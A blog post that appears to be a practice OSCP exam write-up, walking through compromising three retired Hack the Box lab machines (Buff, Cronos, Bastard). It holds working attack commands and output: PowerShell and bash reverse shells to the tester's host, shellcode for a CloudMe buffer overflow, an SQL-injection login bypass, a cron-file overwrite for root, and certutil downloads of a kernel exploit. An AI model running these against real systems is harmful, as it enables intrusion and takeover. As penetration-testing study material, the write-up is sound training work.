MysticHackersBlog

OSCP Mock Exam - #1


Self-imposed mock to pressure-test my methodology before the real OSCP sitting. Kept the conditions as close to the actual exam as I could: a fixed box set, a hard time budget, no AI in the loop, and the report written as I went rather than reconstructed afterwards - same as exam day, where the clock doesn't stop while you take notes.

The set is four retired HTB machines chosen to mirror the OSCP topic spread - a couple of quick "points on the board" boxes, a Linux box, and an AD-flavoured Windows box to lean on the area I'm weakest in. Scoring follows the real split (70 to pass):

  • Buff (Hack the Box) - 10 points :check:
  • Cronos (Hack the Box) - 20 points :check:
  • Bastard (Hack the Box) - 20 points :check:
  • Sauna - 20 points :check:

Buff - Windows

tun0 = 10.10.14.127
target = 10.129.1.147

RECON

PORT     STATE SERVICE    VERSION
7680/tcp open  pando-pub?
8080/tcp open  http       Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
|_http-open-proxy: Proxy might be redirecting requests
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
|_http-title: mrb3n's Bro Hut

ENUM

http://10.129.1.147:8080/ => shows a website, supposedly with a cms/system from "Gym Management Software 1.0"

curl -s http://10.129.1.147:8080/ -v
*   Trying 10.129.1.147:8080...
* Established connection to 10.129.1.147 (10.129.1.147 port 8080) from 10.10.14.127 port 35626
* using HTTP/1.x
> GET / HTTP/1.1
> Host: 10.129.1.147:8080
> User-Agent: curl/8.19.0
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
< Date: Thu, 21 May 2026 20:39:55 GMT
< Server: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
< X-Powered-By: PHP/7.4.6
< Set-Cookie: sec_session_id=k93af4o68pdq1ppr6peiefjho8; path=/; HttpOnly
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Set-Cookie: sec_session_id=8decvds9g8cm0e5fqk20vme6r5; path=/; HttpOnly

Initial Foothold

Gym Management Software 1.0 (identified by checking sourcecode) is vuln to a "Unauthenticated Remote Code Execution" flaw. (https://www.exploit-db.com/exploits/48506)

python2 exploit_rce.py http://10.129.1.147:8080
$ python2 exploit_rce.py http://10.129.1.147:8080/
[+] Successfully connected to webshell.
C:\xampp\htdocs\gym\upload> whoami
buff\shaun

But it looks like the shell is in some way restricted. To circumvent this we can upload a PowerShell reverse-shell and catch it in penelope.

C:\xampp\htdocs\gym\upload> powershell -nop -W hidden -noni -ep bypass -c "$TCPClient = New-Object Net.Sockets.TCPClient('10.10.14.127', 1338);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()"
$ cd ~/Tools/penelope && ./penelope.py -i tun0 -p 1338
[+] Listening for reverse shells on 10.10.14.127:1338
>   Main Menu (m)  Payloads (p)  Clear (Ctrl-L)  Quit (q/Ctrl-C)
[+] Got reverse shell from BUFF~10.129.1.147-Microsoft_Windows_10_Enterprise-x64-based_PC  Assigned SessionID <1>
[+] Added readline support...
[+] Interacting with session [1], Shell Type: Readline, Menu key: Ctrl-D
[+] Logging to /home/resu/.penelope/sessions/BUFF~10.129.1.147-Microsoft_Windows_10_Enterprise-x64-based_PC/2026_05_21-23_11_08-378.log
-----------------------------------------------------------------------------------------------------------------------------
SHELL> dir


    Directory: C:\xampp\htdocs\gym\upload


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----       21/05/2026     22:05             53 kamehameha.php

SHELL> cd C:\Users\shaun\Desktop
SHELL> type user.txt
<redacted>

User pwned.

Privesc

In the Downloads folder of Shaun we find a file called CloudMe_1112.exe.

 Directory of C:\Users\Shaun\Downloads

14/07/2020  13:27    <DIR>          .
14/07/2020  13:27    <DIR>          ..
16/06/2020  16:26        17,830,824 CloudMe_1112.exe

A quick google search with the input "Cloudme 1112" gives us, as the first search result, the exploit-db entry for "CloudMe 1.11.2 - Buffer Overflow (PoC)" https://www.exploit-db.com/exploits/48389.

To confirm this hypothesis , we can check the Active Connections with "netstat -na".

  TCP    127.0.0.1:8888         0.0.0.0:0              LISTENING

Bingo.

Since CloudMe is only listening on 127.0.0.1:8888, we need to tunnel that port back to Kali to hit it with the BOF exploit. We'll use chisel for that. But before throwing binaries onto the target, we need to see what we're working against.

AMSI / Defender Check

Check if Defender real-time protection is enabled:

SHELL> Get-MpComputerStatus | Select RealTimeProtectionEnabled, AntivirusEnabled, AMServiceEnabled

RealTimeProtectionEnabled AntivirusEnabled AMServiceEnabled
------------------------- ---------------- ----------------
                     True             True             True

Real-time protection is on, so dropping chisel.exe directly into C:\Users\shaun\Downloads will likely get it wrecked. Before going through obfuscation hassle, check if there are any AV exclusion paths:

SHELL> Get-MpPreference | Select -ExpandProperty ExclusionPath
C:\xampp

C:\xampp is excluded from Defender scanning. We can stage tooling there without it being touched.

AMSI is in play for any PowerShell we run, but since we're going to execute our payload via the BOF (raw shellcode straight to a process), AMSI doesn't apply to the actual privesc chain. Good to know either way.

File Transfer via SMB

On Kali, spin up an authenticated SMB share in the folder containing chisel.exe and the exploit script:

$ impacket-smbserver share . -smb2support -username df -password df
Impacket v0.14.0.dev0+20260326.150834.76ee8774 - Copyright Fortra, LLC and its affiliated companies

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

On the target, map the share and copy chisel into the excluded directory:

SHELL> net use \\10.10.14.127\share /u:df df
The command completed successfully.

SHELL> copy \\10.10.14.127\share\chisel.exe C:\xampp\chisel.exe
        1 file(s) copied.

Gotcha: the share name in impacket-smbserver <name> . has to match the \\IP\<name> path used in net use. Mismatch yields SMB2_TREE_CONNECT not found.

Chisel Tunnel

Start the chisel server on Kali in reverse mode, listening on 8000:

$ ./chisel server -p 8000 --reverse
2026/05/22 01:14:02 server: Reverse tunnelling enabled
2026/05/22 01:14:02 server: Fingerprint <...>
2026/05/22 01:14:02 server: Listening on http://0.0.0.0:8000

Connect back from the target, forwarding the target's 127.0.0.1:8888 to Kali's 127.0.0.1:8888:

SHELL> C:\xampp\chisel.exe client 10.10.14.127:8000 R:8888:127.0.0.1:8888

Verify locally on Kali:

$ ss -tlnp | grep 8888
LISTEN 0  128  127.0.0.1:8888  0.0.0.0:*

CloudMe on Buff is now reachable from Kali at 127.0.0.1:8888.

Exploit Crafting

The PoC at https://www.exploit-db.com/exploits/48389 targets 127.0.0.1:8888 by default - perfect, no need to modify the target IP since the tunnel terminates there.

Generate shellcode with msfvenom, excluding the bad chars \x00\x0A\x0D:

$ msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=10.10.14.127 LPORT=1337 -b '\x00\x0A\x0D' -f python -v payload
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1899 bytes
payload =  b""
payload += b"\xda\xc6\xd9\x74\x24\xf4\x5d\x33\xc9\xb8\x29"
payload += b"\x3e\x1b\xa3\xb1\x52\x31\x45\x17\x03\x45\x17"
payload += b"\x83\xc4\xc2\xf9\x56\xea\xd3\x7c\x98\x12\x24"
payload += b"\xe1\x10\xf7\x15\x21\x46\x7c\x05\x91\x0c\xd0"
payload += b"\xaa\x5a\x40\xc0\x39\x2e\x4d\xe7\x8a\x85\xab"
payload += b"\xc6\x0b\xb5\x88\x49\x88\xc4\xdc\xa9\xb1\x06"
payload += b"\x11\xa8\xf6\x7b\xd8\xf8\xaf\xf0\x4f\xec\xc4"
payload += b"\x4d\x4c\x87\x97\x40\xd4\x74\x6f\x62\xf5\x2b"
payload += b"\xfb\x3d\xd5\xca\x28\x36\x5c\xd4\x2d\x73\x16"
payload += b"\x6f\x85\x0f\xa9\xb9\xd7\xf0\x06\x84\xd7\x02"
payload += b"\x56\xc1\xd0\xfc\x2d\x3b\x23\x80\x35\xf8\x59"
payload += b"\x5e\xb3\x1a\xf9\x15\x63\xc6\xfb\xfa\xf2\x8d"
payload += b"\xf0\xb7\x71\xc9\x14\x49\x55\x62\x20\xc2\x58"
payload += b"\xa4\xa0\x90\x7e\x60\xe8\x43\x1e\x31\x54\x25"
payload += b"\x1f\x21\x37\x9a\x85\x2a\xda\xcf\xb7\x71\xb3"
payload += b"\x3c\xfa\x89\x43\x2b\x8d\xfa\x71\xf4\x25\x94"
payload += b"\x39\x7d\xe0\x63\x3d\x54\x54\xfb\xc0\x57\xa5"
payload += b"\xd2\x06\x03\xf5\x4c\xae\x2c\x9e\x8c\x4f\xf9"
payload += b"\x31\xdc\xff\x52\xf2\x8c\xbf\x02\x9a\xc6\x4f"
payload += b"\x7c\xba\xe9\x85\x15\x51\x10\x4e\x10\xac\x14"
payload += b"\xf1\x4c\xb2\x28\x08\xb4\x3b\xce\x78\xd6\x6d"
payload += b"\x59\x15\x4f\x34\x11\x84\x90\xe2\x5c\x86\x1b"
payload += b"\x01\xa1\x49\xec\x6c\xb1\x3e\x1c\x3b\xeb\xe9"
payload += b"\x23\x91\x83\x76\xb1\x7e\x53\xf0\xaa\x28\x04"
payload += b"\x55\x1c\x21\xc0\x4b\x07\x9b\xf6\x91\xd1\xe4"
payload += b"\xb2\x4d\x22\xea\x3b\x03\x1e\xc8\x2b\xdd\x9f"
payload += b"\x54\x1f\xb1\xc9\x02\xc9\x77\xa0\xe4\xa3\x21"
payload += b"\x1f\xaf\x23\xb7\x53\x70\x35\xb8\xb9\x06\xd9"
payload += b"\x09\x14\x5f\xe6\xa6\xf0\x57\x9f\xda\x60\x97"
payload += b"\x4a\x5f\x90\xd2\xd6\xf6\x39\xbb\x83\x4a\x24"
payload += b"\x3c\x7e\x88\x51\xbf\x8a\x71\xa6\xdf\xff\x74"
payload += b"\xe2\x67\xec\x04\x7b\x02\x12\xba\x7c\x07"

Paste the resulting payload block into the payload = section of the exploit script, replacing the placeholder shellcode.

Execution

Open a listener on Kali for the reverse shell:

$ nc -lvnp 1337
listening on [any] 1337 ...

Fire the exploit from a second Kali pane:

$ python2 48389.py

Shell catches as buff\administrator:

C:\Windows\system32> whoami
buff\administrator

C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
<redacted>

Box pwned.


Cronos - Linux

tun0 = 10.10.14.127 target = 10.129.227.211


RECON

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA)
|   256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)
|_  256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519)
53/tcp open  domain  ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid:
|_  bind.version: 9.10.3-P4-Ubuntu
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_  Supported Methods: OPTIONS GET HEAD POST
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

DNS on 53 alongside web - strong signal for vhost / zone-transfer territory. Web on 80 returns a placeholder page redirecting to cronos.htb, so we add it to /etc/hosts.

ENUM

Directory fuzz on the main vhost - nothing actionable, only the default app shell:

 $ feroxbuster -u http://cronos.htb/ --filter-status 404

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher                  ver: 2.13.1
--------------------------------------------------
   Target Url            | http://cronos.htb/
   In-Scope Url          | cronos.htb
   Threads               | 50
   Wordlist              | /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
   Status Code Filters   | [404]
   Timeout (secs)        | 7
   User-Agent            | feroxbuster/2.13.1
   Config File           | /etc/feroxbuster/ferox-config.toml
   Extract Links         | true
   HTTP methods          | [GET]
   Recursion Depth       | 4
--------------------------------------------------
404      GET        9l       32w        -c Auto-filtering found 404-like response and created new filter
403      GET       11l       32w        -c Auto-filtering found 404-like response and created new filter
301      GET        9l       28w      306c http://cronos.htb/css => http://cronos.htb/css/
301      GET        9l       28w      305c http://cronos.htb/js => http://cronos.htb/js/
200      GET       85l      137w     2319c http://cronos.htb/
200      GET        9l     1270w   118393c http://cronos.htb/css/app.css
200      GET       41l     5569w   284534c http://cronos.htb/js/app.js

Vhost fuzz:

$ ffuf -H "Host: FUZZ.cronos.htb" -u http://cronos.htb/ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -fs 11439

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://cronos.htb/
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.cronos.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 11439
________________________________________________

www                     [Status: 200, Size: 2319, Words: 990, Lines: 86, Duration: 53ms]
admin                   [Status: 200, Size: 1547, Words: 525, Lines: 57, Duration: 2372ms]

Two vhosts found: www and admin. Add both to /etc/hosts:

$ echo "10.129.227.211 cronos.htb www.cronos.htb admin.cronos.htb" | sudo tee -a /etc/hosts

admin.cronos.htb serves a basic username/password login form - plain HTML, no client-side validation, no framework markers in the source. Prime SQLi candidate.

Initial Foothold

Capture the login POST in Burp, save as admin_login.req, throw it at sqlmap:

$ sqlmap -r admin_login.req --level=3 --risk=3
...
sqlmap identified the following injection point(s) with a total of 439 HTTP(s) requests:
---
Parameter: username (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: username=-4760' OR 3712=3712-- cEzj&password=1234

    Type: time-based blind
    Title: MySQL > 5.0.12 AND time-based blind (heavy query)
    Payload: username=123' AND 2231=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)-- FHEw&password=1234
---
[00:20:42] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 16.10 or 16.04 (yakkety or xenial)
web application technology: Apache 2.4.18
back-end DBMS: MySQL > 5.0.12

No need to dump the DB - we just need to bypass auth. Drop the boolean-based payload straight into the username field via the browser login form:

username: -4760' OR 3712=3712-- cEzj
password: anything

Auth bypassed. Lands on Net Tool v0.1 - a simple PHP frontend for ping / traceroute. The backend concatenates user input into a shell command without sanitization, so command injection is trivial.

![[Pasted image 20260523005459.png]]

Final working revshell payload (POST body):

command=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.127/1340+0>%261'&host=

Catch on Kali:

$ nc -lvnp 1340
listening on [any] 1340 ...
connect to [10.10.14.127] from cronos.htb [10.129.227.211] ...
$ whoami
www-data

User flag - sitting in noulis' home and world-readable (-r--r--r--), so we don't even need to escalate to grab it:

www-data@cronos:/var/www/laravel/database$ ls -la /home/noulis/
total 32
drwxr-xr-x 4 noulis noulis 4096 May 10  2022 .
drwxr-xr-x 3 root   root   4096 May 10  2022 ..
-rw-r--r-- 1 noulis noulis  220 Mar 22  2017 .bash_logout
-rw-r--r-- 1 noulis noulis 3771 Mar 22  2017 .bashrc
drwx------ 2 noulis noulis 4096 May 10  2022 .cache
drwxr-xr-x 3 root   root   4096 May 10  2022 .composer
-rw-r--r-- 1 noulis noulis  655 Mar 22  2017 .profile
-r--r--r-- 1 noulis noulis   33 May 23 01:01 user.txt
www-data@cronos:/var/www/laravel/database$ cat /home/noulis/user.txt
<redacted>

User pwned.

Privesc

A Laravel install lives at /var/www/laravel. Nothing immediately interesting in the config. Move on to system enumeration - check /etc/crontab:

www-data@cronos:/var/www/laravel$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * *       root    php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1

Root runs php /var/www/laravel/artisan every minute. Check write perms on the target file:

www-data@cronos:/var/www/laravel$ ls -la artisan
-rwxr-xr-x 1 www-data www-data 1646 May 23 01:15 artisan

Owned by www-data and writable. Overwrite with a PHP one-liner that spawns a reverse shell:

www-data@cronos:/var/www/laravel$ echo "<?php exec(\"/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.127/1337 0>&1'\"); ?>" > artisan

Listener on Kali, wait up to a minute for the next cron tick:

$ nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.14.127] from cronos.htb [10.129.227.211] ...
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
<redacted>

Box pwned.


Bastard - Windows

tun0 = 10.10.14.127 target = 10.129.4.108


RECON

PORT      STATE SERVICE VERSION
80/tcp    open  http    Microsoft IIS httpd 7.5
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-generator: Drupal 7 (http://drupal.org)
|_http-server-header: Microsoft-IIS/7.5
|_http-title: Welcome to Bastard | Bastard
135/tcp   open  msrpc   Microsoft Windows RPC
49154/tcp open  msrpc   Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

ENUM

$ feroxbuster -u http://10.129.4.108 --filter-status 503

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher                  ver: 2.13.1
--------------------------------------------------
   Target Url            | http://10.129.4.108/
   In-Scope Url          | 10.129.4.108
   Threads               | 50
   Wordlist              | /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
   Status Code Filters   | [503]
   Timeout (secs)        | 7
   User-Agent            | feroxbuster/2.13.1
   Config File           | /etc/feroxbuster/ferox-config.toml
   Extract Links         | true
   HTTP methods          | [GET]
   Recursion Depth       | 4
--------------------------------------------------
200      GET       44l      290w     1874c http://10.129.4.108/INSTALL.pgsql.txt
200      GET       45l      262w     1717c http://10.129.4.108/INSTALL.mysql.txt
200      GET       31l      209w     1298c http://10.129.4.108/INSTALL.sqlite.txt
200      GET      246l     1501w    10123c http://10.129.4.108/UPGRADE.txt
200      GET      307l      846w     8710c http://10.129.4.108/MAINTAINERS.txt
200      GET      339l     2968w    18092c http://10.129.4.108/LICENSE.txt
200      GET      400l     2475w    17995c http://10.129.4.108/INSTALL.txt
200      GET     2284l    16004w   110781c http://10.129.4.108/CHANGELOG.txt
403      GET       29l       92w     1233c http://10.129.4.108/admin
403      GET       29l       92w     1233c http://10.129.4.108/search
403      GET       29l       92w     1233c http://10.129.4.108/cron.php
200      GET      152l      395w     7482c http://10.129.4.108/user/login
200      GET      146l      368w     7132c http://10.129.4.108/user/password
200      GET      154l      463w     8136c http://10.129.4.108/user/register
403      GET       29l       92w     1233c http://10.129.4.108/node/add
403      GET       29l       92w     1233c http://10.129.4.108/update.php
403      GET       29l       92w     1233c http://10.129.4.108/user/logout
200      GET       59l      173w     3173c http://10.129.4.108/install.php

CHANGELOG.txt exposes the Drupal version: Drupal 7.54, 2017-02-01.

Initial Foothold

Searching for exploits for Drupal 7.54 -> CVE-2018-7600 ("Drupalgeddon 2"). After trying a few non-working PoCs, settled on https://github.com/dreadlocked/Drupalgeddon2.

Doesn't work out of the box against IIS/Windows - by default the script tries to drop a PHP webshell, which fails on this stack. Set @try_phpshell = false in the ruby source so it stays on the interactive RCE channel:

$ ruby drupalgeddon2.rb http://10.129.4.108/
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://10.129.4.108/
[i] Write? : Skipping writing PHP web shell
--------------------------------------------------------------------------------
[+] Found  : http://10.129.4.108/CHANGELOG.txt    (HTTP Response: 200)
[+] Drupal!: v7.54
--------------------------------------------------------------------------------
[*] Testing: Form   (user/password)
[+] Result : Form valid
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[*] Testing: Clean URLs
[+] Result : Clean URLs enabled
--------------------------------------------------------------------------------
[*] Testing: Code Execution   (Method: name)
[i] Payload: echo LGYJPYSX
[+] Result : LGYJPYSX
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
drupalgeddon2>> whoami
nt authority\iusr
drupalgeddon2>> hostname
Bastard

Privesc

The drupalgeddon2 RCE channel is restrictive (single-shot commands, no interactive features). Upgrade to a full reverse shell.

A naive PowerShell one-liner gets rejected by the script's bad-char filter:

drupalgeddon2>> powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.127',1337);..."
[!] WARNING: Detected an known bad character (>)

The Ruby script filters > (and likely other shell metachars). Base64-encoding via -EncodedCommand sidesteps that entirely - the encoded blob is just [A-Za-z0-9+/=]. Key gotcha: PowerShell expects UTF-16 LE for -EncodedCommand, not UTF-8.

Encode on Kali:

$ echo -n '$client = New-Object System.Net.Sockets.TCPClient("10.10.14.127",1337);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbytes = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbytes,0,$sendbytes.Length);$stream.Flush()};$client.Close()' | iconv -t UTF-16LE | base64 -w0

Fire through drupalgeddon2:

drupalgeddon2>> powershell -nop -w hidden -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQAwAC4AMQAwAC4AMQA0AC4AMQAyADcAJwAsADEAMwAzADcAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACcAUABTACAAJwAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACcAPgAgACcAOwAkAHMAZQBuAGQAYgB5AHQAZQBzACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlAHMALAAwACwAJABzAGUAbgBkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA

Catch on Kali:

$ cd ~/Tools/penelope && ./penelope.py -i tun0 -p 1337
[+] Listening for reverse shells on 10.10.14.127:1337
>   Main Menu (m)  Payloads (p)  Clear (Ctrl-L)  Quit (q/Ctrl-C)
[+] Got reverse shell from BASTARD~10.129.4.108-Microsoft_Windows_Server_2008_R2_Datacenter_-x64-based_PC  Assigned SessionID <1>
[+] Added readline support...
[+] Interacting with session [1], Shell Type: Readline, Menu key: Ctrl-D
[+] Logging to /home/resu/.penelope/sessions/BASTARD~10.129.4.108-Microsoft_Windows_Server_2008_R2_Datacenter_-x64-based_PC/2026_05_26-00_24_15-078.log
-----------------------------------------------------------------------------------------------------------------------------
PS C:\Program Files (x86)> whoami
nt authority\iusr

Grab user.txt:

PS C:\Program Files (x86)> type C:\Users\dimitris\Desktop\user.txt
<redacted>

System enumeration via systeminfo:

PS C:\Program Files (x86)> systeminfo

Host Name:                 BASTARD
OS Name:                   Microsoft Windows Server 2008 R2 Datacenter
OS Version:                6.1.7600 N/A Build 7600
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Server
OS Build Type:             Multiprocessor Free
Registered Owner:          Windows User
Registered Organization:
Product ID:                55041-402-3582622-84461
Original Install Date:     18/3/2017, 7:04:46 ??
System Boot Time:          25/5/2026, 11:46:57 ??
System Manufacturer:       VMware, Inc.
System Model:              VMware Virtual Platform
System Type:               x64-based PC
Processor(s):              2 Processor(s) Installed.
                           [01]: AMD64 Family 25 Model 1 Stepping 1 AuthenticAMD ~2595 Mhz
                           [02]: AMD64 Family 25 Model 1 Stepping 1 AuthenticAMD ~2595 Mhz
BIOS Version:              Phoenix Technologies LTD 6.00, 12/11/2020
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:             el;Greek
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC+02:00) Athens, Bucharest, Istanbul
Total Physical Memory:     2.047 MB
Available Physical Memory: 1.422 MB
Virtual Memory: Max Size:  4.095 MB
Virtual Memory: Available: 3.391 MB
Virtual Memory: In Use:    704 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    HTB
Logon Server:              N/A
Hotfix(s):                 N/A
Network Card(s):           1 NIC(s) Installed.
                           [01]: Intel(R) PRO/1000 MT Network Connection
                                 Connection Name: Local Area Connection
                                 DHCP Enabled:    Yes
                                 DHCP Server:     10.10.10.2
                                 IP address(es)
                                 [01]: 10.129.4.108

Key signals: Windows Server 2008 R2, Build 7600, Hotfix(s): N/A - an unpatched kernel, classic kernel-exploit territory.

MS15-051 (NtUserMessageCall token swap) applies cleanly here. Compiled binary at https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS15-051.

Note: AMSI isn't relevant on this OS - it was introduced with Windows 10 / Server 2016. The reason for staging in C:\Windows\Tasks is just that it's a writable location available to IUSR with low default scrutiny.

Exploit plan:

  • Host ms15-051x64.exe + nc.exe from Kali via python3 -m http.server
  • Pull both to C:\Windows\Tasks with certutil
  • Run ms15-051x64.exe to spawn a SYSTEM-context nc shell back to Kali

Stage on Kali:

$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Pull on target:

PS C:\Program Files (x86)> cd C:\Windows\Tasks
PS C:\Windows\Tasks> certutil -urlcache -split -f http://10.10.14.127:8000/ms15-051x64.exe ms15-051x64.exe
PS C:\Windows\Tasks> certutil -urlcache -split -f http://10.10.14.127:8000/nc.exe nc.exe

Sanity check the exploit:

PS C:\Windows\Tasks> .\ms15-051x64.exe "whoami"
[#] ms15-051 fixed by zcgonvh
[!] process with pid: 2864 created.
==============================
nt authority\system

